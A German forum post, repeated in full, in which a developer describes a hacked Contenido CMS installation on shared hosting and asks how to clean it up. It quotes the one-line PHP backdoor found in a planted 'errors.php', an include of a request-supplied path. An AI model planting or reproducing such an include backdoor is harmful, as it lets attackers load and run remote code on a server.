Contenido 4.6.XX gehackt
Verfasst: Mo 23. Jun 2008, 12:39
Hallo Leute,
ich habe für eine befreundete Firma ein Projekt mit Contenido umgesetzt und dieses auch regelmäßig weiter betreut. Da wir in der nächsten Zeit einen Relaunch machen wollen, habe ich parallel zur alten 4.6.-Version auch 4.8. installiert (in der gleichen Datenbank, die neuen Taballen heißen alle con2_...). Die alte Contenido-Version lag in einem Unterordner "/c", die neue Version liegt direkt im Webroot. Die Domain liegt bei 1und1 in einen Webpack mit folgenden Daten:
Server: Apache/1.3.34 Ben-SSL/1.55
MySQL: 4.0.27-standard-log
PHP: 4.4.8
(leider sind alle PHP-Funktionen - auch die üblichen Verdächtigen - an, keine Ahnung ob 1und1 da auch andere Optionen anbietet)
Vor drei Tagen habe ich dann beide Versionen upgedatet, die 4.6. auf 4.6.24 und die 4.8. auf 4.8.6., wähnte mich also sicher.
Heute morgen mussten wir festellen, dass wir (anscheindend von einer türkischen Gruppe) gehackt wurden. Im Rootverzeichnis fand ich eine Datei "errors.php" mit dem Inhalt "<?include($_REQUEST["error"] . "/errors.php");?>". Im Verzeichnis "/contenido/logs" lag eine Datei "logs.php", die anscheinend den schädlichen Code enthielt. Weiterhin habe ich einige sehr große Filmdateien im Verzeichnis "/c/cms/upload/logos/.../" gefunden. Und schließlich waren die index.html und die front_content.php unter "/c/cms/" durch andere Dateien ersetzt.
Aufgrund der besonderen Situation mit den zwei Contenido-Versionen kann ich nicht genau sagen, ob es wirklich die 4.6.-Variante war, die gehackt wurde, aber es scheint mir wahrscheinlich.
Nun zu meinen Fragen: Die besagten Dateien habe ich gelöscht. Wie gehe ich jetzt weiter vor? Kann ich alle Dateien löschen, dann "frische" Contenido-Varianten hochladen und dann auf Update gehen, so dass die bestehende Datenbank übernommen wird? Oder könnte sich in der Datenbank auch noch irgendwas verstecken? Falls ja, wie kann ich diese säubern (ein aktuelles Backup gibt es - natürlich - nicht)? Und schließlich: Warum ist das Ganze überhaupt passiert? Ich dachte, es seien alle Lücken geschlossen.
Ich hoffe, ich habe nichts vergessen. Falls noch Infos zur Fehleranalyse fehlen bitte Bescheid sagen.
MfG
Edit: Hab den Titel des Beitrags geändert.
ich habe für eine befreundete Firma ein Projekt mit Contenido umgesetzt und dieses auch regelmäßig weiter betreut. Da wir in der nächsten Zeit einen Relaunch machen wollen, habe ich parallel zur alten 4.6.-Version auch 4.8. installiert (in der gleichen Datenbank, die neuen Taballen heißen alle con2_...). Die alte Contenido-Version lag in einem Unterordner "/c", die neue Version liegt direkt im Webroot. Die Domain liegt bei 1und1 in einen Webpack mit folgenden Daten:
Server: Apache/1.3.34 Ben-SSL/1.55
MySQL: 4.0.27-standard-log
PHP: 4.4.8
(leider sind alle PHP-Funktionen - auch die üblichen Verdächtigen - an, keine Ahnung ob 1und1 da auch andere Optionen anbietet)
Vor drei Tagen habe ich dann beide Versionen upgedatet, die 4.6. auf 4.6.24 und die 4.8. auf 4.8.6., wähnte mich also sicher.
Heute morgen mussten wir festellen, dass wir (anscheindend von einer türkischen Gruppe) gehackt wurden. Im Rootverzeichnis fand ich eine Datei "errors.php" mit dem Inhalt "<?include($_REQUEST["error"] . "/errors.php");?>". Im Verzeichnis "/contenido/logs" lag eine Datei "logs.php", die anscheinend den schädlichen Code enthielt. Weiterhin habe ich einige sehr große Filmdateien im Verzeichnis "/c/cms/upload/logos/.../" gefunden. Und schließlich waren die index.html und die front_content.php unter "/c/cms/" durch andere Dateien ersetzt.
Aufgrund der besonderen Situation mit den zwei Contenido-Versionen kann ich nicht genau sagen, ob es wirklich die 4.6.-Variante war, die gehackt wurde, aber es scheint mir wahrscheinlich.
Nun zu meinen Fragen: Die besagten Dateien habe ich gelöscht. Wie gehe ich jetzt weiter vor? Kann ich alle Dateien löschen, dann "frische" Contenido-Varianten hochladen und dann auf Update gehen, so dass die bestehende Datenbank übernommen wird? Oder könnte sich in der Datenbank auch noch irgendwas verstecken? Falls ja, wie kann ich diese säubern (ein aktuelles Backup gibt es - natürlich - nicht)? Und schließlich: Warum ist das Ganze überhaupt passiert? Ich dachte, es seien alle Lücken geschlossen.
Ich hoffe, ich habe nichts vergessen. Falls noch Infos zur Fehleranalyse fehlen bitte Bescheid sagen.
MfG
Edit: Hab den Titel des Beitrags geändert.